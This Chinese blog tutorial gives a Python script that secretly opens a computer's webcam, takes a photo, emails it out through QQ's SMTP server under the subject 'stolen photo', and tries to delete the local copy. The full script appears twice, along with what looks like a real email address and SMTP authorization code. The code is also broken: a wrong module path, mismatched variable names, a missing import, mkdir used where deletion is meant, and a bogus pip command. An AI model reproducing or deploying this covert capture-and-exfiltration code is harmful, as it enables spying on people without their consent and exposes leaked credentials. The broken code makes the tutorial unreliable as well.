Python之实现自动开启摄像头拍照,后面发送邮寄给个人

Python之实现自动开启摄像头拍照,后面发送邮寄给个人


先导入需要的库文件:

import cv2  #第三方库 opencv-python  需要下载安装 作用 用于拍照
from smtplib import SMTP_SSL  #加密传输协议
from email.header import Header #添加邮件信息
from email.mine.text import MIMEText #设置内容
from email.mime.multipart import MIMEMultipart #用于创建邮件的格式

如歌没有安装,通过pip命令安装:

pip install opencv-python
pip install smtplib
第一步,我们要开启电脑的摄像头实现拍照:
#打开摄像头拍照
cap=cv2.VideoCapture(0)  #开启摄像头拍照
_,fram=cap.read()      #读取拍摄到德照片 _ 有两个返回值,其中一个我不需要
cv2.imwrite('image.jpg',frame)  #把读取到图片数据保存到我的电脑
cap.release()  #关闭摄像头
第二步,我们要发送邮件,就必须创建邮件:
#创建一封邮件用于传输照片
qq_server='smtp.qq.com'
qq_email_user='自己的邮箱号' #设置邮箱的账号
qq_email_password='gtyqshiptqaibghf' #授权码->密码

运行后,会在邮箱里面收到授权码

qq_email_password='gtyqshiptqaibghf' #授权码->密码
第三步,创建邮件的格式,发送电脑开启摄像头拍的照片
#创建邮件格式
msg=MIMEMultipart()
msg['Subject']=Header('窃取的照片') #设置邮件的主题名字
msg['From']=qq_email_user #设置发送者的邮箱
msg['TO']=qq_email_user  #设置接收者的邮箱

把照片以附件的形式添加到邮件

#把照片以附件的形式添加到邮件
img=open('image.jpg','rb').read() #打开图片
image=MIMEText(img,'base64','utf-8') #转化图片数据格式
image["Content-Type"]='image/jpg' #设置添加数据为图片类型
msg.attach(image)  #将转化的数据添加为附件

发送邮件

#发送邮件
email=SMTP_SSL(qq_server) #路径服务器
email.login(qq_email_user,qq_email_password) #登录邮箱
email.sendmail(qq_server,qq_email_user,msg.as_string())
email.quit()

最后一步:删除照片
#记得删除照片
os.mkdir('image.jpg')

下面是完整代码:

import cv2  #第三方库 opencv-python  需要下载安装 作用 用于拍照
from smtplib import SMTP_SSL  #加密传输协议
from email.header import Header #添加邮件信息
from email.mine.text import MIMEText #设置内容
from email.mime.multipart import MIMEMultipart #用于创建邮件的格式
#打开摄像头拍照
cap=cv2.VideoCapture(0)  #开启摄像头拍照
_,fram=cap.read()      #读取拍摄到德照片 _ 有两个返回值,其中一个我不需要
cv2.imwrite('image.jpg',frame)  #把读取到图片数据保存到我的电脑
cap.release()  #关闭摄像头
#创建一封邮件用于传输照片
qq_server='smtp.qq.com'
qq_email_user='872347348@qq.com' #设置邮箱的账号
qq_email_password='gtyqshiptqaibghf' #授权码->密码

#创建邮件格式
msg=MIMEMultipart()
msg['Subject']=Header('窃取的照片') #设置邮件的主题名字
msg['From']=qq_email_user #设置发送者的邮箱
msg['TO']=qq_email_user  #设置接收者的邮箱

#把照片以附件的形式添加到邮件
img=open('image.jpg','rb').read() #打开图片
image=MIMEText(img,'base64','utf-8') #转化图片数据格式
image["Content-Type"]='image/jpg' #设置添加数据为图片类型
msg.attach(image)  #将转化的数据添加为附件

#发送邮件
email=SMTP_SSL(qq_server) #路径服务器
email.login(qq_email_user,qq_email_password) #登录邮箱
email.sendmail(qq_server,qq_email_user,msg.as_string())
email.quit()

#记得删除照片
os.mkdir('image.jpg')
  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Deng872347348

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值